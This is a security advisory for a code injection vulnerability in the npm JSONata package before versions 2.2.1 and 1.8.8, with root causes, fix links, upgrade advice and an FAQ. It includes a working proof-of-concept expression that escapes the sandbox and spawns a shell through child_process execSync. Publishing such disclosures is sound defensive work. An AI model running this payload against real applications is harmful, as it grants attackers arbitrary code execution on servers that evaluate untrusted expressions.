GHSA-66mm-25pp-rfff: Code Injection
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to: - overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression) - it being possible to destruct jsonata functions/lambdas (e.g. $merge.) - applyProcedure using proc.arguments.forEach and not Array.prototype.forEach
Which could be chained to execute arbitrary code.
This was fixed with:
- https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673) - https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/pull/802
Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.
PoC
js import jsonata from "jsonata";
const expression = jsonata( ( $obj := {}; $clone := function($o) { $o }; $m := ($merge.)[1];
$fn := function($a) { ( $a({"value":"lg"},"lookupGetter"); $a({"value":"x"},"x"); ) };
$nop := function() { $ };
$capture := function($val) { $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} | };
$ ~> | $ | $m([$nop,{"jsonatalambda":false}])|; $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|; $ ~> | $ | {"body":$m([$capture,{"jsonatalambda":false}]).body}|; $func := $m([$,{"jsonatalambda":true}]); $func();
$gP := $obj.lg("proto");
$afn:=$spread($fn); $afn{"x":$gP().constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'})")()}; ) );
await expression.evaluate({});
References
- https://github.com/jsonata-js/jsonata/pull/799 - https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673 - https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de
- https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc
- https://github.com/jsonata-js/jsonata/pull/802 - https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/jsonatato a version that resolves this vulnerability.Fixed in 1.8.8 - Upgrade
Upgrade
npm/jsonatato a version that resolves this vulnerability.Fixed in 2.2.1
Event History
Frequently Asked Questions
Which JSONata versions contain the fixes?
The fixes are included in JSONata 2.2.1 and were backported to the 1.8.8 release. Versions before 2.2.1 and 1.8.8 are affected.
What must an attacker be able to do to exploit this issue?
An attacker needs the ability to supply a crafted JSONata expression that the application evaluates. The expression chains object mutation through an overwritten $clone, destructuring of JSONata functions or lambdas, and procedure invocation behavior to execute arbitrary code.
How can I determine whether an application is exposed?
Check whether the application uses the npm/jsonata package at a version earlier than 2.2.1 or 1.8.8, and whether it evaluates JSONata expressions influenced or supplied by untrusted users. Such expression-evaluation paths should be treated as exposed until updated.